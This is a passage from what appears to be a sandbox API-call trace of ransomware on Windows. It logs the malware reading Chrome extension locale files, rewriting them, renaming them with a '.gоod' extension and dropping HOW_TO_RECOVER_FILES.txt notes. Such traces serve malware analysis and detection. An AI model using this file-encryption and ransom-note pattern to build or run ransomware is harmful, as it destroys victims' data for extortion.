data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\km\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x209ebdb0 | out: lpFileInformation=0x209ebdb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe85a4892, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85a6ec2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x939e353b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x260)) returned 1 [0254.011] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebc90) returned 1 [0254.011] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\km\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\km\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\km\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\km\\messages.json.gоod")) returned 1 [0254.012] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\km\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x209eb9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\km\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0254.012] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebed0) returned 1 [0254.012] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\km\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\km\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x808 [0254.013] GetFileType (hFile=0x808) returned 0x1 [0254.013] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe40) returned 1 [0254.013] GetFileType (hFile=0x808) returned 0x1 [0254.013] WriteFile (in: hFile=0x808, lpBuffer=0x3aa8348*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x209ebf98, lpOverlapped=0x0 | out: lpBuffer=0x3aa8348*, lpNumberOfBytesWritten=0x209ebf98*=0x5d0, lpOverlapped=0x0) returned 1 [0254.014] CloseHandle (hObject=0x808) returned 1 [0254.014] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0254.014] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\kn", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\kn", lpFilePart=0x0) returned 0x7b [0254.014] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\kn\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe85b59fc, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85ba821, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe85ba821, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134afe0 [0254.015] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe85b59fc, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85ba821, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe85ba821, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.015] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe85ba821, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85bce52, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b49f04, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x147, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0254.015] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0254.015] FindClose (in: hFindFile=0x134afe0 | out: hFindFile=0x134afe0) returned 1 [0254.015] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0254.015] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0254.015] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0254.015] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\kn", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\kn", lpFilePart=0x0) returned 0x7b [0254.015] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\kn\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe85b59fc, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85ba821, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe85ba821, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b3a0 [0254.015] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe85b59fc, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85ba821, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe85ba821, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.016] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe85ba821, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85bce52, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b49f04, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x147, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0254.016] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe85ba821, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85bce52, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b49f04, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x147, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0254.016] FindClose (in: hFindFile=0x134b3a0 | out: hFindFile=0x134b3a0) returned 1 [0254.016] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0254.016] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0254.016] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\kn\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\kn\\messages.json", lpFilePart=0x0) returned 0x89 [0254.016] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebd10) returned 1 [0254.016] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\kn\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\kn\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x3ab8318 | out: lpFileInformation=0x3ab8318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe85ba821, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85bce52, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b49f04, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x147)) returned 1 [0254.016] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebcd0) returned 1 [0254.016] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\kn\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\kn\\messages.json", lpFilePart=0x0) returned 0x89 [0254.016] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0254.016] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\kn\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\kn\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0254.017] GetFileType (hFile=0x808) returned 0x1 [0254.017] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0254.017] GetFileType (hFile=0x808) returned 0x1 [0254.017] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x209ebd68 | out: lpFileSizeHigh=0x209ebd68*=0x0) returned 0x147 [0254.017] ReadFile (in: hFile=0x808, lpBuffer=0x3ab8818, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209ebc98, lpOverlapped=0x0 | out: lpBuffer=0x3ab8818*, lpNumberOfBytesRead=0x209ebc98*=0x147, lpOverlapped=0x0) returned 1 [0255.412] CloseHandle (hObject=0x808) returned 1 [0255.439] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\kn\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\kn\\messages.json", lpFilePart=0x0) returned 0x89 [0255.439] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0255.439] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\kn\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\kn\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0255.440] GetFileType (hFile=0x808) returned 0x1 [0255.440] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0255.440] GetFileType (hFile=0x808) returned 0x1 [0255.440] WriteFile (in: hFile=0x808, lpBuffer=0x3c422a0*, nNumberOfBytesToWrite=0x150, lpNumberOfBytesWritten=0x209ebba8, lpOverlapped=0x0 | out: lpBuffer=0x3c422a0*, lpNumberOfBytesWritten=0x209ebba8*=0x150, lpOverlapped=0x0) returned 1 [0255.440] CloseHandle (hObject=0x808) returned 1 [0255.440] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\kn\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\kn\\messages.json", lpFilePart=0x0) returned 0x89 [0255.440] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\kn\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\kn\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0255.440] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebcd0) returned 1 [0255.440] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\kn\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\kn\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x209ebdb0 | out: lpFileInformation=0x209ebdb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe85ba821, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85bce52, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x94773e01, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x150)) returned 1 [0255.441] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebc90) returned 1 [0255.441] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\kn\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\kn\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\kn\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\kn\\messages.json.gоod")) returned 1 [0255.441] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\kn\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x209eb9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\kn\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0255.441] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebed0) returned 1 [0255.441] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\kn\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\kn\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x808 [0255.442] GetFileType (hFile=0x808) returned 0x1 [0255.442] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe40) returned 1 [0255.442] GetFileType (hFile=0x808) returned 0x1 [0255.443] WriteFile (in: hFile=0x808, lpBuffer=0x3c45bd8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x209ebf98, lpOverlapped=0x0 | out: lpBuffer=0x3c45bd8*, lpNumberOfBytesWritten=0x209ebf98*=0x5d0, lpOverlapped=0x0) returned 1 [0255.443] CloseHandle (hObject=0x808) returned 1 [0255.444] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0255.444] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ko", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ko", lpFilePart=0x0) returned 0x7b [0255.444] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ko\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe85c1d53, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85c6b72, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe85c6b72, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a7a0 [0255.444] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe85c1d53, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85c6b72, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe85c6b72, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.444] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe85c6b72, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85c6a92, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b49f04, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xd9, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0255.444] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0255.444] FindClose (in: hFindFile=0x134a7a0 | out: hFindFile=0x134a7a0) returned 1 [0255.445] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0255.445] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0255.445] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0255.445] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ko", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ko", lpFilePart=0x0) returned 0x7b [0255.445] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ko\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe85c1d53, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85c6b72, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe85c6b72, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aa40 [0255.445] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe85c1d53, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85c6b72, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe85c6b72, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.445] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe85c6b72, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85c6a92, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b49f04, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xd9, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0255.509] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0256.748] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe85c6b72, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85c6a92, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b49f04, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xd9, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0256.748] FindClose (in: hFindFile=0x134aa40 | out: hFindFile=0x134aa40) returned 1 [0256.748] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0256.748] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0256.748] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ko\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ko\\messages.json", lpFilePart=0x0) returned 0x89 [0256.748] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebd10) returned 1 [0256.748] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ko\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user 